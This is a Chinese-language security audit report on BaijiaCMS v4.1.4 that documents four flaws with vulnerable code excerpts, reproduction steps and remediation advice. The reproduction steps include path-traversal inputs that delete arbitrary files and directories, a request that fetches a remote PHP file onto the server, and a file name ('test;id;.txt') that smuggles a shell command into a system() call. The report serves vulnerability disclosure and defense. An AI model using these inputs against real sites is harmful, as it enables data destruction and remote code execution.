百家CMS v4.1.4代码审计
字数 1379 2025-08-05 00:15:08
百家CMS v4.1.4代码审计报告
环境搭建
- 源码获取:
- 下载地址:https://gitee.com/openbaijia/baijiacms.git
- 使用PHPstudy搭建环境
- 创建数据库:baijiacms
- 访问安装页面进行安装
- 设置管理员账号:admin/admin
审计准备
- 目录结构分析:
- 使用Seay源代码审计系统进行初步扫描
漏洞分析
1. 任意路径删除漏洞
漏洞位置:
/includes/baijiacms/common.inc.php(520-547行)/system/menager/class/web/database.php(246-255行)
漏洞代码:
function rmdirs($path='',$isdir=false) {
if(is_dir($path)) {
$file_list= scandir($path);
foreach ($file_list as $file) {
if($file!='.' && $file!='..') {
if($file!='qrcode') {
rmdirs($path.'/'.$file,true);
}
}
}
if($path!=WEB_ROOT.'/cache/') {
@rmdir($path);
}
} else {
@unlink($path);
}
}
调用点:
if($operation=='delete') {
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
漏洞原理:
- 删除备份文件时仅判断是否为路径,未验证路径合法性
- 可通过修改base64编码的id参数删除任意路径文件
复现步骤:
- 在根目录创建test文件夹
- 进入后台备份与还原页面
- 点击删除并抓包
- 修改id参数为
../../test的base64编码Li4vLi4vdGVzdA== - 发送请求,test文件夹被删除
2. 任意文件删除漏洞
漏洞位置:
/system/eshop/core/mobile/util/uploader.php(46-50行)/includes/baijiacms/common.inc.php(695-734行)
漏洞代码:
elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
function file_delete($file_relative_path) {
// ...
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;
}
// ...
}
漏洞原理:
- 未对file参数进行路径限制
- 可通过../跳转删除任意文件
复现步骤:
- 在根目录创建test.txt文件
- 访问URL:
http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt - test.txt文件被删除
3. 远程文件上传漏洞
漏洞位置:
/system/public/class/web/file.php(18-26行)/includes/baijiacms/common.inc.php(613-616行)
漏洞代码:
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
// ...
}
function fetch_net_file_upload($url) {
$extention = pathinfo($url,PATHINFO_EXTENSION);
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
漏洞原理:
- 通过url参数获取远程文件内容并保存到本地
- 仅检查扩展名,未检查文件内容安全性
复现步骤:
- 在远程服务器创建test.php文件,内容为
<?php echo "<?php phpinfo();"; - 访问URL:
http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://远程IP/test.php - 获取返回的文件路径并访问,确认文件上传成功
4. 远程命令执行漏洞
漏洞位置:
/system/weixin/class/web/setting.php(20-40行)/includes/baijiacms/common.inc.php(637-655行)
漏洞代码:
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt') {
// ...
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
// ...
}
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true) {
// ...
if(!empty($settings['image_compress_openscale'])) {
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0) {
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
// ...
}
漏洞原理:
- 上传txt文件后,当开启图片压缩功能时,会使用system函数执行convert命令
- 可通过文件名注入命令
复现步骤:
- 创建一个文件名包含命令的txt文件(如
test;id;.txt) - 在后台找到上传页面并上传该文件
- 系统会执行文件名中的命令
修复建议
-
任意路径/文件删除漏洞:
- 严格校验路径参数,禁止../跳转
- 限制删除操作只能在指定目录内进行
-
远程文件上传漏洞:
- 检查文件内容而不仅是扩展名
- 禁止上传可执行文件
-
远程命令执行漏洞:
- 使用escapeshellarg处理文件名
- 避免直接使用用户输入作为命令参数
- 考虑使用更安全的函数替代system()
-
通用建议:
- 对所有用户输入进行严格过滤
- 实现最小权限原则
- 定期进行安全审计